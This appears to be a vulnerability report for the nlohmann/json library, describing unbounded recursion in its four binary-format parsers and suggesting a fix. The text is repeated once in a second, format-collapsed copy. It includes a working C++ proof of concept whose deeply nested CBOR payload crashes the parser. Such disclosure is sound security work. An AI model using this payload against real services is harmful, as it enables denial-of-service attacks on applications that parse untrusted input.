Summary
The binary format parsers (binary_reader.hpp) are vulnerable to stack overflow via deeply nested input. Unlike the text JSON parser which uses an iterative approach with an explicit stack, all four binary parsers (CBOR, MessagePack, UBJSON, BSON) use unbounded recursion with no depth limit. A trivially small crafted payload can crash any application that parses untrusted binary format input.
Affected parsers
json::from_cbor()
json::from_msgpack()
json::from_ubjson()
json::from_bson()
Root cause
The recursive call chains in binary_reader.hpp have no depth counter or limit:
- CBOR:
parse_cbor_internal() (line 447) → get_cbor_array() (line 1116) / get_cbor_object() (line 1154) → parse_cbor_internal() (line 1128)
- MessagePack:
parse_msgpack_internal() → get_msgpack_array() / get_msgpack_object() → parse_msgpack_internal()
- UBJSON/BJData:
parse_ubjson_internal() recurses similarly
- BSON:
parse_bson_internal() → parse_bson_element_internal() → parse_bson_internal()
The text JSON parser (parser.hpp) does not have this issue — it uses an iterative design with std::vector<bool> states as an explicit stack.
Impact
Denial of service. Any application using these functions to parse untrusted input can be crashed (segfault) with a payload as small as a few kilobytes.
Proof of concept
#include <iostream>
#include <vector>
#include <nlohmann/json.hpp>
int main()
{
// Each 0x81 byte = "CBOR array of length 1", creating one nesting level.
// 100,000 of them overflows the default ~8MB stack.
const std::size_t depth = 100000;
std::vector<std::uint8_t> payload(depth, 0x81);
payload.push_back(0x00); // innermost value: integer 0
std::cout << "Parsing CBOR with " << depth << " nesting levels ("
<< payload.size() << " bytes)...\n";
try
{
nlohmann::json j = nlohmann::json::from_cbor(payload);
}
catch (const std::exception& e)
{
std::cout << "Exception: " << e.what() << "\n";
}
return 0;
}
Compile and run:
g++ -std=c++17 -I include -o poc poc.cpp
./poc
# Result: Segmentation fault (core dumped), exit code 139
Suggested fix
Add a recursion depth counter to binary_reader and return a parse_error when a configurable maximum depth is exceeded, similar to how other JSON libraries handle this (e.g., Python's json module defaults to a depth limit of 1000). Alternatively, convert the binary parsers to an iterative design matching the text parser.
Environment
- nlohmann/json version: 3.12.0 (develop branch, commit f534f4f)
- Compiler: g++ with C++17
- OS: Linux 6.11.0-29-generic
Summary
The binary format parsers (
binary_reader.hpp) are vulnerable to stack overflow via deeply nested input. Unlike the text JSON parser which uses an iterative approach with an explicit stack, all four binary parsers (CBOR, MessagePack, UBJSON, BSON) use unbounded recursion with no depth limit. A trivially small crafted payload can crash any application that parses untrusted binary format input.Affected parsers
json::from_cbor()json::from_msgpack()json::from_ubjson()json::from_bson()Root cause
The recursive call chains in
binary_reader.hpphave no depth counter or limit:parse_cbor_internal()(line 447) →get_cbor_array()(line 1116) /get_cbor_object()(line 1154) →parse_cbor_internal()(line 1128)parse_msgpack_internal()→get_msgpack_array()/get_msgpack_object()→parse_msgpack_internal()parse_ubjson_internal()recurses similarlyparse_bson_internal()→parse_bson_element_internal()→parse_bson_internal()The text JSON parser (
parser.hpp) does not have this issue — it uses an iterative design withstd::vector<bool> statesas an explicit stack.Impact
Denial of service. Any application using these functions to parse untrusted input can be crashed (segfault) with a payload as small as a few kilobytes.
Proof of concept
Compile and run:
g++ -std=c++17 -I include -o poc poc.cpp ./poc # Result: Segmentation fault (core dumped), exit code 139Suggested fix
Add a recursion depth counter to
binary_readerand return aparse_errorwhen a configurable maximum depth is exceeded, similar to how other JSON libraries handle this (e.g., Python'sjsonmodule defaults to a depth limit of 1000). Alternatively, convert the binary parsers to an iterative design matching the text parser.Environment